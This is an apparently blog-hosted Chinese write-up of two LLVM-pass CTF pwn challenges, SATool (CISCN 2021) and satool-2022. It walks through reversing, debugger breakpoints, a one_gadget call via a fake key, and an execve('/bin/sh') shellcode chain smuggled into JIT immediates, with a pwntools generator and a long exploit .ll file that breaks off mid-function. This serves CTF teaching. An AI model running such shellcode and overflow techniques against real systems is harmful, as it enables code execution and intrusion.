LLVM Pass PWN(下)

admin 2023年2月21日13:02:33评论17 views字数 29440阅读98分8秒阅读模式

SATool

来自于ciscn2021初赛。

分析处理逻辑

比起yakagame根本不能看,yakagame至少还能勉强看明白,这个程序完全就是一坨,在里面摸了几个字符串如下:

B4ckDo0r

save

takeaway

stealkey

fakekey

run

这个run一看就很可疑好吧(..,不过现在连函数有几个参数都不清楚,并且运行还没回显,连程序跑到哪里都不知道,再加上检查和处理逻辑全放一堆,导致静态非常地难看。。

调试与分析

opt程序是一样的,第一个断点也可以一样。

save

先尝试一下一个参数的  save("deadbeef");,然后断在malloc下面,为什么选字符串呢,因为我看到了个memcpy ^^

断点一 :0x4b8e0e

断点二 :0x1CC2 + 0x7ffff23a0000

.text:0000000000001CB8                 mov     edi, 18h        ; size
.text:0000000000001CBD call _malloc
.text:0000000000001CC2 mov rbx, rax

LLVM Pass PWN(下)

直接寄了。
接下来有理由怀疑是两个字符串 save("deadbeef" ,"test");,因为 memcpy 出现了两次 ^^,果然过了。

takeaway

下面就一个free,有理由怀疑没有参数,直接试一下,我猜程序里有很多地方调用free,直接断free应该不行。

断点一 :0x4b8e0e

断点二 :0x1F4F + 0x7ffff23a0000

寄了。
感觉是free前面一大坨检查没有过,把断点改上一点。

断点二 :0x1E1E + 0x7ffff23a0000

还是不行,换一个字符串参数试试 takeaway("deadbeef"); 可以了捏,还真 free 掉了,估计save的第一个参数就是 key 第二个参数就是 data (之类的。

stealkey

这个模块这么短,一看就不需要参数吧(

断点一 :0x4b8e0e

断点二 :0x1FFA+ 0x7ffff23a0000

果然。
LLVM Pass PWN(下)

在这之后顺便看看全局变量,将里面的 key 以8字节解引用了一份出来。

LLVM Pass PWN(下)

fakekey

这个函数我是眼熟的llvm::APInt::getSExtValue 参数是Int嘛。

LLVM Pass PWN(下)

断点一 :0x4b8e0e

断点二 :0x2121+ 0x7ffff23a0000

看得出来这里就是把 key 加上了一个偏移再复制回去。

LLVM Pass PWN(下)

执行这段前:

LLVM Pass PWN(下)

执行这段后,果然已经加上了这个偏移。

LLVM Pass PWN(下)



run

最后就是逆大天的函数,run,这里貌似直接把key当成函数调用了。

LLVM Pass PWN(下)


只能说出题人是懂ctf的。

断点一 :0x4b8e0e

断点二 :0x21BC+ 0x7ffff23a0000

到这里直接call,太棒了。

LLVM Pass PWN(下)

那么我们只需要把这里改成gadget就行了,考虑到此时栈上一大堆地方是0,甚至可以直接用onegadget,但是改成onegadget的话应当需要知道libc的基地址。

攻击

再回头看看,可以看到程序通过堆来申请内存,之后通过memcpy来复制内容,这个memcpy的第三个参数不知道从哪里来的,有可能是获取参数时顺带获得的。
首先我们看一下申请前的堆布局,这个时候申请0x18的块肯定会拿掉fastbin里的堆块,这样我们拿不到libc地址。

LLVM Pass PWN(下)

那么我们直接申请两次,第二次 key 只给一个字符,下面的堆布局申请0x18肯定就会拿libc的地址了。LLVM Pass PWN(下)

LLVM Pass PWN(下)


执行后看看下面的memcpy,可以看到只cp了俩字符,因此是可以拿到libc的。LLVM Pass PWN(下)
直接 save("" , "test");试了下也可以。
这样我们可以使用如下脚本:
void save(char *a , char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int a);
void run();

void B4ckDo0r()
{
 save("deadbeef" , "test");
 save("" , "test");
 stealkey();
 // fakekey(0x111);

 run();
}

之后断在 stealkey 查看全局变量的内存,可以看到已经有libc地址了。LLVM Pass PWN(下)
接下来找个 ogg ,因为大部分肯定是满足的,我们随便找一个就行(经尝试第一个不行。

LLVM Pass PWN(下)

ogg_offset:0x4f432

offset = - 0x39c87e

最后的脚本:
void save(char *a , char *b);
void takeaway(char *a);
void stealkey();
void fakekey(int a);
void run();

void B4ckDo0r()
{
 save("deadbeef" , "test");
 save("" , "test");
 stealkey();
 fakekey(- 0x39c87e);

 run();
}

成功调用ogg。

LLVM Pass PWN(下)

成功getshell。LLVM Pass PWN(下)

satool-2022

接下来这题更是重量级,但是比起上次国赛那题,已经工整很多了。
ubuntu22下安装llvm-12
sudo apt install llvm-12

分析处理逻辑

进入 MBAPass::handle函数进行分析。
char *__fastcall `anonymous namespace'::MBAPass::handle(context *this, llvm::Function *a2)
{
 /// ///
  stop_addr = this->code + 0xFF0;
  v29 = (llvm::BasicBlock *)llvm::Function::front(a2);
  Terminator = (llvm::User *)llvm::BasicBlock::getTerminator(v29);
  Operand = llvm::User::getOperand(Terminator, 0);
  if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1) != 0 )
  {
    this->number = 0;
    v2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand);
    number = llvm::ConstantInt::getSExtValue(v2);
    `anonymous namespace'::MBAPass::writeMovImm64(this0, number);
    return `anonymous namespace'::MBAPass::writeRet(this);
  }
  else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1) != 0 )
  {
    this->number = 1;
    `anonymous namespace'::MBAPass::writeMovImm64(this00LL);
    return `anonymous namespace'::MBAPass::writeRet(this);
  }
  else
  {
    `anonymous namespace'::MBAPass::writeMovImm64(this00LL);
    this->number = 0;
    std::stack<llvm::Value *>::stack<std::deque<llvm::Value *>,void>(op_stack);
    std::stack<int>::stack<std::deque<int>,void>(num_stack);
    std::stack<llvm::Value *>::push(op_stack, &Operand);
    v24 = 1;
    std::stack<int>::push(num_stack, &v24);
    while ( this->pointer < stop_addr )
    {
      if ( !std::stack<llvm::Value *>::size(op_stack) )
      {
        `anonymous namespace'::MBAPass::writeRet(this);
        break;
      }
      op = *(llvm **)std::stack<llvm::Value *>::top(op_stack);
      std::stack<llvm::Value *>::pop(op_stack);
      num = *(_DWORD *)std::stack<int>::top(num_stack);
      std::stack<int>::pop(num_stack);
      v5 = op;
      opcode = (llvm *)llvm::dyn_cast<llvm::BinaryOperator,llvm::Value>(op);
      if ( !opcode )
      {
        v6 = llvm::errs(v5);
        v7 = llvm::raw_ostream::operator<<(v6, "Unsupported opcode: ");
        v8 = llvm::operator<<(v7, op);
        llvm::raw_ostream::operator<<(v8, "n");
        exit(-1);
      }
      if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) != 13 )// add
      {
        v9 = opcode;
        if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) != 15 )// dec
        {
          v10 = llvm::errs(v9);
          v15 = llvm::raw_ostream::operator<<(v10, "Unsupported opcode: ");
          OpcodeName = llvm::Instruction::getOpcodeName(opcode);
          v12 = llvm::raw_ostream::operator<<(v15, OpcodeName);
          llvm::raw_ostream::operator<<(v12, "n");
          exit(-1);
        }
      }
      tmp_1 = llvm::BinaryOperator::getOperand(opcode, 0);// add
      tmp_2 = llvm::BinaryOperator::getOperand(opcode, 1u);
      if ( (llvm::isa<llvm::Constant,llvm::Value *>(&tmp_1) & 1) != 0 )
      {
        v13 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(tmp_1);
        sign = llvm::ConstantInt::getSExtValue(v13);
        if ( sign == 1 || sign == -1 )
        {
          `anonymous namespace'::MBAPass::writeInc(this, sign * num);
        }
        else
        {
          `anonymous namespace'::MBAPass::writeMovImm64(this1, sign * num);
          `anonymous namespace'::MBAPass::writeOpReg(this1);
        }
      }
      else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&tmp_1) & 1) != 0 )
      {
        this->number += num;
      }
      else
      {
        std::stack<llvm::Value *>::push(op_stack, &tmp_1);
        std::stack<int>::push();
      }
      if ( (unsigned int)llvm::BinaryOperator::getOpcode(opcode) == 15 )// dec
        num = -num;
      if ( (llvm::isa<llvm::Constant,llvm::Value *>(&tmp_2) & 1) != 0 )
      {
        v14 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(tmp_2);
        sign1 = llvm::ConstantInt::getSExtValue(v14);
        if ( sign1 == 1 || sign1 == -1 )
        {
          `anonymous namespace'::MBAPass::writeInc(this, num);
        }
        else
        {
          `anonymous namespace'::MBAPass::writeMovImm64(this1, sign1 * num);
          `anonymous namespace'::MBAPass::writeOpReg(this1);
        }
      }
      else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&tmp_2) & 1) != 0 )
      {
        this->number += num;
      }
      else
      {
        std::stack<llvm::Value *>::push(op_stack, &tmp_2);
        std::stack<int>::push();
      }
    }
    std::stack<int>::~stack();
    return (char *)std::stack<llvm::Value *>::~stack(op_stack);
  }
}
本来我还挺喜欢把ida反编译出来的屎来修复修复的,但是看着这坨c嘉嘉硬是提不起兴趣,这里其实就是通过栈来优化我们写的加减法代码,之后写进一块内存中,然后就开始执行这块地方,最后输出一排优化后的代码。
LLVM Pass PWN(下)
然后,其实程序中有一个很迷的操作,程序貌似将 code 字段复制了一份当成 pointer 指针,之后将将 code 字段 0xff0 偏移处当成了一个终止地址,每通过循环添加代码指针就增加,当指针增加到 code + 0xff0 处就停止。
但是,实际上这里经不起推敲,下面代码有个很经典的溢出错误。

LLVM Pass PWN(下)

当我们刚好满足条件后,再执行就会有溢出,之后就会在 code + 0xff0 外残留一段代码,那么第二次的code如果够长,刚好溢出并且没有将ret写进去。
这时候如果这段代码里可以解析成跳转类指令,而在这之前有如这样的指令。

add rax , xxxxxxxx

万一能刚好跳到立即数 xxxxxxxx 中,而这 xxxxxxxx 又刚好能作为 shellcode 解析,之后通过 jmp $+x 来进行跳转到另一个立即数里,就可以执行shellcode了。

调试与分析

首先这题和前面的题不一样,没有函数名给你解析,只有自己照着给的demo去做。
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 68
%4 = add nsw i64 %0, 6
%5 = add nsw i64 %4, -204
%6 = add nsw i64 %5, %3
ret i64 %6
}

可以先跑一下这个demo。

LLVM Pass PWN(下)

跟预期结果一样,再试一下下面跑两次的。
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 68
%4 = add nsw i64 %0, 6
%5 = add nsw i64 %4, -204
%6 = add nsw i64 %5, %3
ret i64 %6
}

define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
%2 = sub nsw i64 %0, 2
%3 = add nsw i64 %2, 11111
%4 = add nsw i64 %0, 2222
%5 = add nsw i64 %4, -111111111
%6 = add nsw i64 %5, %3
ret i64 %6
}
也是ok的。

LLVM Pass PWN(下)

其实这题在我看来最关键的漏洞并不是那个溢出,而是没有初始化,其实无论是否溢出,如果没有最后的ret指令,那么 code 段还是会一直执行的,这样就可能执行到立即数解析出来的代码。
这里如果立即数为1 就会变成 INC 指令,结合不同于它长度的指令可以错位。

LLVM Pass PWN(下)

这条命令占3字节,另一条占13字节。

LLVM Pass PWN(下)

下来尝试使用如下exp,调试一下。

define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 0
%3 = add nsw i64 %2, 43499
%4 = add nsw i64 %3, 43499
%5 = add nsw i64 %4, 43499
%6 = add nsw i64 %5, 43499
ret i64 %6
}

define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
%2 = add nsw i64 %0, 1
ret i64 %2
}
断点。

断点一:0x42fe64

断点二:0xF750 + 0x7fffefdc7000

可以看到第二次运行到这里执行的shellcode如下,可以看见ret下面还有一堆残留,只不过因为ret执行不到。LLVM Pass PWN(下)
接下来就构造溢出的字节。

总长度 0xff0

我们总是想多溢出一些的,抛开前面的必写进去的两个字节,那么我们前面的长度最好凑成 0xfee ,最后一条指令的立即数刚好全部溢出去,调试发现前面会自动有一个10字节的命令

3*4 + 13*312 = 0xfee - 10

因此写 4 条 inc 312 条 add 就行

成功溢出成 0x1122334455667788

LLVM Pass PWN(下)

攻击

展开攻击,首先我们第一次可以溢出成可控的立即数,接着我们来进行第二次执行shellcode的编写。
先不考虑getshell的问题,我们的长度也要刚好溢出并且写不进 ret 这样就会执行残留的shellcode。

3*9 + 13*311= 0xff0 - 10

运行后断到第二次call shellcode,果然没有写进ret,并且已经把这个立即数当成shellcode执行了。

LLVM Pass PWN(下)

接下来就是把这个立即数改成一个跳转指令 ,之后就可以跳到其他立即数中了每个立即数长8字节要分出2个字节来写跳转指令,所以每条指令长度不能超过6,然后是shellcode的编写,首先是每次的跳转指令,因为要跳到下一个立即数段。
每13字节的指令中。

2 + 8 + 3

其中 8 字节为可控字节

因为是栈操作后指令会倒过来,第一次跳转应为8+3=11字节,之后的每一次跳转应为8+2+3+8-2=19 字节,成功实现跳转。LLVM Pass PWN(下)
这题的核心在于构造shellcode,而构造shellcode的核心在于binsh字符串,我认为可以使用mov edi,xxx之类的指令,可以减少长度,之后用寄存器左移指令移动到寄存器的高位,这样就可以写出如下shellcode。
mov edi , 0x68732f
shl rdi , 32
mov esi , 0x6e69622f
add rdi , rsi
push rdi
mov rdi , rsp
xor rsi , rsi
xor rdx , rdx
mov eax , 0x3B
syscall
写一个py脚本生成一下立即数。
from pwn import *

context.update( os = 'linux', arch = 'amd64',timeout = 1)

# for i in range(408):
#     print('%{} = add nsw i64 %{}, 43499'.format(i+1,i))

# for i in range(999):
#     for j in range(999):
#         if (3*i + j*13 ==(0xff0-10)):
#             print(i,j)

shellcode = [
    'mov edi , 0x68732f',
    'shl rdi , 32',
    'mov esi , 0x6e69622f',
    'add rdi , rsi',
    'push rdi',
    'mov rdi , rsp',
    'xor rsi , rsi',
    'xor rdx , rdx',
    'mov eax , 0x3B',
    'syscall'
]

for i in shellcode:
    print( u64(asm(i).ljust(6 , 'x90') + asm("jmp $-19")) )
运行优化exp可以getshell。

LLVM Pass PWN(下)

最后的exp.ll文件。
define dso_local i64 @test1(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 62443
  %3 = add nsw i64 %2, 43499
  %4 = add nsw i64 %3, 43499
  %5 = add nsw i64 %4, 43499
  %6 = add nsw i64 %5, 43499
  %7 = add nsw i64 %6, 43499
  %8 = add nsw i64 %7, 43499
  %9 = add nsw i64 %8, 43499
  %10 = add nsw i64 %9, 43499
  %11 = add nsw i64 %10, 43499
  %12 = add nsw i64 %11, 43499
  %13 = add nsw i64 %12, 43499
  %14 = add nsw i64 %13, 43499
  %15 = add nsw i64 %14, 43499
  %16 = add nsw i64 %15, 43499
  %17 = add nsw i64 %16, 43499
  %18 = add nsw i64 %17, 43499
  %19 = add nsw i64 %18, 43499
  %20 = add nsw i64 %19, 43499
  %21 = add nsw i64 %20, 43499
  %22 = add nsw i64 %21, 43499
  %23 = add nsw i64 %22, 43499
  %24 = add nsw i64 %23, 43499
  %25 = add nsw i64 %24, 43499
  %26 = add nsw i64 %25, 43499
  %27 = add nsw i64 %26, 43499
  %28 = add nsw i64 %27, 43499
  %29 = add nsw i64 %28, 43499
  %30 = add nsw i64 %29, 43499
  %31 = add nsw i64 %30, 43499
  %32 = add nsw i64 %31, 43499
  %33 = add nsw i64 %32, 43499
  %34 = add nsw i64 %33, 43499
  %35 = add nsw i64 %34, 43499
  %36 = add nsw i64 %35, 43499
  %37 = add nsw i64 %36, 43499
  %38 = add nsw i64 %37, 43499
  %39 = add nsw i64 %38, 43499
  %40 = add nsw i64 %39, 43499
  %41 = add nsw i64 %40, 43499
  %42 = add nsw i64 %41, 43499
  %43 = add nsw i64 %42, 43499
  %44 = add nsw i64 %43, 43499
  %45 = add nsw i64 %44, 43499
  %46 = add nsw i64 %45, 43499
  %47 = add nsw i64 %46, 43499
  %48 = add nsw i64 %47, 43499
  %49 = add nsw i64 %48, 43499
  %50 = add nsw i64 %49, 43499
  %51 = add nsw i64 %50, 43499
  %52 = add nsw i64 %51, 43499
  %53 = add nsw i64 %52, 43499
  %54 = add nsw i64 %53, 43499
  %55 = add nsw i64 %54, 43499
  %56 = add nsw i64 %55, 43499
  %57 = add nsw i64 %56, 43499
  %58 = add nsw i64 %57, 43499
  %59 = add nsw i64 %58, 43499
  %60 = add nsw i64 %59, 43499
  %61 = add nsw i64 %60, 43499
  %62 = add nsw i64 %61, 43499
  %63 = add nsw i64 %62, 43499
  %64 = add nsw i64 %63, 43499
  %65 = add nsw i64 %64, 43499
  %66 = add nsw i64 %65, 43499
  %67 = add nsw i64 %66, 43499
  %68 = add nsw i64 %67, 43499
  %69 = add nsw i64 %68, 43499
  %70 = add nsw i64 %69, 43499
  %71 = add nsw i64 %70, 43499
  %72 = add nsw i64 %71, 43499
  %73 = add nsw i64 %72, 43499
  %74 = add nsw i64 %73, 43499
  %75 = add nsw i64 %74, 43499
  %76 = add nsw i64 %75, 43499
  %77 = add nsw i64 %76, 43499
  %78 = add nsw i64 %77, 43499
  %79 = add nsw i64 %78, 43499
  %80 = add nsw i64 %79, 43499
  %81 = add nsw i64 %80, 43499
  %82 = add nsw i64 %81, 43499
  %83 = add nsw i64 %82, 43499
  %84 = add nsw i64 %83, 43499
  %85 = add nsw i64 %84, 43499
  %86 = add nsw i64 %85, 43499
  %87 = add nsw i64 %86, 43499
  %88 = add nsw i64 %87, 43499
  %89 = add nsw i64 %88, 43499
  %90 = add nsw i64 %89, 43499
  %91 = add nsw i64 %90, 43499
  %92 = add nsw i64 %91, 43499
  %93 = add nsw i64 %92, 43499
  %94 = add nsw i64 %93, 43499
  %95 = add nsw i64 %94, 43499
  %96 = add nsw i64 %95, 43499
  %97 = add nsw i64 %96, 43499
  %98 = add nsw i64 %97, 43499
  %99 = add nsw i64 %98, 43499
  %100 = add nsw i64 %99, 43499
  %101 = add nsw i64 %100, 43499
  %102 = add nsw i64 %101, 43499
  %103 = add nsw i64 %102, 43499
  %104 = add nsw i64 %103, 43499
  %105 = add nsw i64 %104, 43499
  %106 = add nsw i64 %105, 43499
  %107 = add nsw i64 %106, 43499
  %108 = add nsw i64 %107, 43499
  %109 = add nsw i64 %108, 43499
  %110 = add nsw i64 %109, 43499
  %111 = add nsw i64 %110, 43499
  %112 = add nsw i64 %111, 43499
  %113 = add nsw i64 %112, 43499
  %114 = add nsw i64 %113, 43499
  %115 = add nsw i64 %114, 43499
  %116 = add nsw i64 %115, 43499
  %117 = add nsw i64 %116, 43499
  %118 = add nsw i64 %117, 43499
  %119 = add nsw i64 %118, 43499
  %120 = add nsw i64 %119, 43499
  %121 = add nsw i64 %120, 43499
  %122 = add nsw i64 %121, 43499
  %123 = add nsw i64 %122, 43499
  %124 = add nsw i64 %123, 43499
  %125 = add nsw i64 %124, 43499
  %126 = add nsw i64 %125, 43499
  %127 = add nsw i64 %126, 43499
  %128 = add nsw i64 %127, 43499
  %129 = add nsw i64 %128, 43499
  %130 = add nsw i64 %129, 43499
  %131 = add nsw i64 %130, 43499
  %132 = add nsw i64 %131, 43499
  %133 = add nsw i64 %132, 43499
  %134 = add nsw i64 %133, 43499
  %135 = add nsw i64 %134, 43499
  %136 = add nsw i64 %135, 43499
  %137 = add nsw i64 %136, 43499
  %138 = add nsw i64 %137, 43499
  %139 = add nsw i64 %138, 43499
  %140 = add nsw i64 %139, 43499
  %141 = add nsw i64 %140, 43499
  %142 = add nsw i64 %141, 43499
  %143 = add nsw i64 %142, 43499
  %144 = add nsw i64 %143, 43499
  %145 = add nsw i64 %144, 43499
  %146 = add nsw i64 %145, 43499
  %147 = add nsw i64 %146, 43499
  %148 = add nsw i64 %147, 43499
  %149 = add nsw i64 %148, 43499
  %150 = add nsw i64 %149, 43499
  %151 = add nsw i64 %150, 43499
  %152 = add nsw i64 %151, 43499
  %153 = add nsw i64 %152, 43499
  %154 = add nsw i64 %153, 43499
  %155 = add nsw i64 %154, 43499
  %156 = add nsw i64 %155, 43499
  %157 = add nsw i64 %156, 43499
  %158 = add nsw i64 %157, 43499
  %159 = add nsw i64 %158, 43499
  %160 = add nsw i64 %159, 43499
  %161 = add nsw i64 %160, 43499
  %162 = add nsw i64 %161, 43499
  %163 = add nsw i64 %162, 43499
  %164 = add nsw i64 %163, 43499
  %165 = add nsw i64 %164, 43499
  %166 = add nsw i64 %165, 43499
  %167 = add nsw i64 %166, 43499
  %168 = add nsw i64 %167, 43499
  %169 = add nsw i64 %168, 43499
  %170 = add nsw i64 %169, 43499
  %171 = add nsw i64 %170, 43499
  %172 = add nsw i64 %171, 43499
  %173 = add nsw i64 %172, 43499
  %174 = add nsw i64 %173, 43499
  %175 = add nsw i64 %174, 43499
  %176 = add nsw i64 %175, 43499
  %177 = add nsw i64 %176, 43499
  %178 = add nsw i64 %177, 43499
  %179 = add nsw i64 %178, 43499
  %180 = add nsw i64 %179, 43499
  %181 = add nsw i64 %180, 43499
  %182 = add nsw i64 %181, 43499
  %183 = add nsw i64 %182, 43499
  %184 = add nsw i64 %183, 43499
  %185 = add nsw i64 %184, 43499
  %186 = add nsw i64 %185, 43499
  %187 = add nsw i64 %186, 43499
  %188 = add nsw i64 %187, 43499
  %189 = add nsw i64 %188, 43499
  %190 = add nsw i64 %189, 43499
  %191 = add nsw i64 %190, 43499
  %192 = add nsw i64 %191, 43499
  %193 = add nsw i64 %192, 43499
  %194 = add nsw i64 %193, 43499
  %195 = add nsw i64 %194, 43499
  %196 = add nsw i64 %195, 43499
  %197 = add nsw i64 %196, 43499
  %198 = add nsw i64 %197, 43499
  %199 = add nsw i64 %198, 43499
  %200 = add nsw i64 %199, 43499
  %201 = add nsw i64 %200, 43499
  %202 = add nsw i64 %201, 43499
  %203 = add nsw i64 %202, 43499
  %204 = add nsw i64 %203, 43499
  %205 = add nsw i64 %204, 43499
  %206 = add nsw i64 %205, 43499
  %207 = add nsw i64 %206, 43499
  %208 = add nsw i64 %207, 43499
  %209 = add nsw i64 %208, 43499
  %210 = add nsw i64 %209, 43499
  %211 = add nsw i64 %210, 43499
  %212 = add nsw i64 %211, 43499
  %213 = add nsw i64 %212, 43499
  %214 = add nsw i64 %213, 43499
  %215 = add nsw i64 %214, 43499
  %216 = add nsw i64 %215, 43499
  %217 = add nsw i64 %216, 43499
  %218 = add nsw i64 %217, 43499
  %219 = add nsw i64 %218, 43499
  %220 = add nsw i64 %219, 43499
  %221 = add nsw i64 %220, 43499
  %222 = add nsw i64 %221, 43499
  %223 = add nsw i64 %222, 43499
  %224 = add nsw i64 %223, 43499
  %225 = add nsw i64 %224, 43499
  %226 = add nsw i64 %225, 43499
  %227 = add nsw i64 %226, 43499
  %228 = add nsw i64 %227, 43499
  %229 = add nsw i64 %228, 43499
  %230 = add nsw i64 %229, 43499
  %231 = add nsw i64 %230, 43499
  %232 = add nsw i64 %231, 43499
  %233 = add nsw i64 %232, 43499
  %234 = add nsw i64 %233, 43499
  %235 = add nsw i64 %234, 43499
  %236 = add nsw i64 %235, 43499
  %237 = add nsw i64 %236, 43499
  %238 = add nsw i64 %237, 43499
  %239 = add nsw i64 %238, 43499
  %240 = add nsw i64 %239, 43499
  %241 = add nsw i64 %240, 43499
  %242 = add nsw i64 %241, 43499
  %243 = add nsw i64 %242, 43499
  %244 = add nsw i64 %243, 43499
  %245 = add nsw i64 %244, 43499
  %246 = add nsw i64 %245, 43499
  %247 = add nsw i64 %246, 43499
  %248 = add nsw i64 %247, 43499
  %249 = add nsw i64 %248, 43499
  %250 = add nsw i64 %249, 43499
  %251 = add nsw i64 %250, 43499
  %252 = add nsw i64 %251, 43499
  %253 = add nsw i64 %252, 43499
  %254 = add nsw i64 %253, 43499
  %255 = add nsw i64 %254, 43499
  %256 = add nsw i64 %255, 43499
  %257 = add nsw i64 %256, 43499
  %258 = add nsw i64 %257, 43499
  %259 = add nsw i64 %258, 43499
  %260 = add nsw i64 %259, 43499
  %261 = add nsw i64 %260, 43499
  %262 = add nsw i64 %261, 43499
  %263 = add nsw i64 %262, 43499
  %264 = add nsw i64 %263, 43499
  %265 = add nsw i64 %264, 43499
  %266 = add nsw i64 %265, 43499
  %267 = add nsw i64 %266, 43499
  %268 = add nsw i64 %267, 43499
  %269 = add nsw i64 %268, 43499
  %270 = add nsw i64 %269, 43499
  %271 = add nsw i64 %270, 43499
  %272 = add nsw i64 %271, 43499
  %273 = add nsw i64 %272, 43499
  %274 = add nsw i64 %273, 43499
  %275 = add nsw i64 %274, 43499
  %276 = add nsw i64 %275, 43499
  %277 = add nsw i64 %276, 43499
  %278 = add nsw i64 %277, 43499
  %279 = add nsw i64 %278, 43499
  %280 = add nsw i64 %279, 43499
  %281 = add nsw i64 %280, 43499
  %282 = add nsw i64 %281, 43499
  %283 = add nsw i64 %282, 43499
  %284 = add nsw i64 %283, 43499
  %285 = add nsw i64 %284, 43499
  %286 = add nsw i64 %285, 43499
  %287 = add nsw i64 %286, 43499
  %288 = add nsw i64 %287, 43499
  %289 = add nsw i64 %288, 43499
  %290 = add nsw i64 %289, 43499
  %291 = add nsw i64 %290, 43499
  %292 = add nsw i64 %291, 43499
  %293 = add nsw i64 %292, 43499
  %294 = add nsw i64 %293, 43499
  %295 = add nsw i64 %294, 43499
  %296 = add nsw i64 %295, 43499
  %297 = add nsw i64 %296, 43499
  %298 = add nsw i64 %297, 43499
  %299 = add nsw i64 %298, 43499
  %300 = add nsw i64 %299, 43499
  %301 = add nsw i64 %300, 43499
  %302 = add nsw i64 %301, 43499
  %303 = add nsw i64 %302, 43499
  %304 = add nsw i64 %303, 43499
  %305 = add nsw i64 %304, 43499
  %306 = add nsw i64 %305, 43499
  %307 = add nsw i64 %306, 43499
  %308 = add nsw i64 %307, 43499
  %309 = add nsw i64 %308, 43499
  %310 = add nsw i64 %309, 43499
  %311 = add nsw i64 %310, 43499
  %312 = add nsw i64 %311, 43499
  %313 = add nsw i64 %312, 43499
  %314 = add nsw i64 %313, 43499
  %315 = add nsw i64 %314, 1
  %316 = add nsw i64 %315, 1
  %317 = add nsw i64 %316, 1
  %318 = add nsw i64 %317, 1

  ret i64 %318
}

define dso_local i64 @test2(i64 %0) local_unnamed_addr #0 {
  %2 = add nsw i64 %0, 16999839549866848191
  %3 = add nsw i64 %2, 16999840167141818696
  %4 = add nsw i64 %3, 16999840022328913854
  %5 = add nsw i64 %4, 16999840169021866312
  %6 = add nsw i64 %5, 16999840169015152727
  %7 = add nsw i64 %6, 16999840169020852552
  %8 = add nsw i64 %7, 16999840169021813064
  %9 = add nsw i64 %8, 16999840169019453768
  %10 = add nsw i64 %9, 16999839548114484152
  %11 = add nsw i64 %10, 16999840169015117071
  %12 = add nsw i64 %11, 43499
  %13 = add nsw i64 %12, 43499
  %14 = add nsw i64 %13, 43499
  %15 = add nsw i64 %14, 43499
  %16 = add nsw i64 %15, 43499
  %17 = add nsw i64 %16, 43499
  %18 = add nsw i64 %17, 43499
  %19 = add nsw i64 %18, 43499
  %20 = add nsw i64 %19, 43499
  %21 = add nsw i64 %20, 43499
  %22 = add nsw i64 %21, 43499
  %23 = add nsw i64 %22, 43499
  %24 = add nsw i64 %23, 43499
  %25 = add nsw i64 %24, 43499
  %26 = add nsw i64 %25, 43499
  %27 = add nsw i64 %26, 43499
  %28 = add nsw i64 %27, 43499
  %29 = add nsw i64 %28, 43499
  %30 = add nsw i64 %29, 43499
  %31 = add nsw i64 %30, 43499
  %32 = add nsw i64 %31, 43499
  %33 = add nsw i64 %32, 43499
  %34 = add nsw i64 %33, 43499
  %35 = add nsw i64 %34, 43499
  %36 = add nsw i64 %35, 43499
  %37 = add nsw i64 %36, 43499
  %38 = add nsw i64 %37, 43499
  %39 = add nsw i64 %38, 43499
  %40 = add nsw i64 %39, 43499
  %41 = add nsw i64 %40, 43499
  %42 = add nsw i64 %41, 43499
  %43 = add nsw i64 %42, 43499
  %44 = add nsw i64 %43, 43499
  %45 = add nsw i64 %44, 43499
  %46 = add nsw i64 %45, 43499
  %47 = add nsw i64 %46, 43499
  %48 = add nsw i64 %47, 43499
  %49 = add nsw i64 %48, 43499
  %50 = add nsw i64 %49, 43499
  %51 = add nsw i64 %50, 43499
  %52 = add nsw i64 %51, 43499
  %53 = add nsw i64 %52, 43499
  %54 = add nsw i64 %53, 43499
  %55 = add nsw i64 %54, 43499
  %56 = add nsw i64 %55, 43499
  %57 = add nsw i64 %56, 43499
  %58 = add nsw i64 %57, 43499
  %59 = add nsw i64 %58, 43499
  %60 = add nsw i64 %59, 43499
  %61 = add nsw i64 %60, 43499
  %62 = add nsw i64 %61, 43499
  %63 = add nsw i64 %62, 43499
  %64 = add nsw i64 %63, 43499
  %65 = add nsw i64 %64, 43499
  %66 = add nsw i64 %65, 43499
  %67 = add nsw i64 %66, 43499
  %68 = add nsw i64 %67, 43499
  %69 = add nsw i64 %68, 43499
  %70 = add nsw i64 %69, 43499
  %71 = add nsw i64 %70, 43499
  %72 = add nsw i64 %71, 43499
  %73 = add nsw i64 %72, 43499
  %74 = add nsw i64 %73, 43499
  %75 = add nsw i64 %74, 43499
  %76 = add nsw i64 %75, 43499
  %77 = add nsw i64 %76, 43499
  %78 = add nsw i64 %77, 43499
  %79 = add nsw i64 %78, 43499
  %80 = add nsw i64 %79, 43499
  %81 = add nsw i64 %80, 43499
  %82 = add nsw i64 %81, 43499
  %83 = add nsw i64 %82, 43499
  %84 = add nsw i64 %83, 43499
  %85 = add nsw i64 %84, 43499
  %86 = add nsw i64 %85, 43499
  %87 = add nsw i64 %86, 43499
  %88 = add nsw i64 %87, 43499
  %89 = add nsw i64 %88, 43499
  %90 = add nsw i64 %89, 43499
  %91 = add nsw i64 %90, 43499
  %92 = add nsw i64 %91, 43499
  %93 = add nsw i64 %92, 43499
  %94 = add nsw i64 %93, 43499
  %95 = add nsw i64 %94, 43499
  %96 = add nsw i64 %95, 43499
  %97 = add nsw i64 %96, 43499
  %98 = add nsw i64 %97, 43499
  %99 = add nsw i64 %98, 43499
  %100 = add nsw i64 %99, 43499
  %101 = add nsw i64 %100, 43499
  %102 = add nsw i64 %101, 43499
  %103 = add nsw i64 %102, 43499
  %104 = add nsw i64 %103, 43499
  %105 = add nsw i64 %104, 43499
  %106 = add nsw i64 %105, 43499
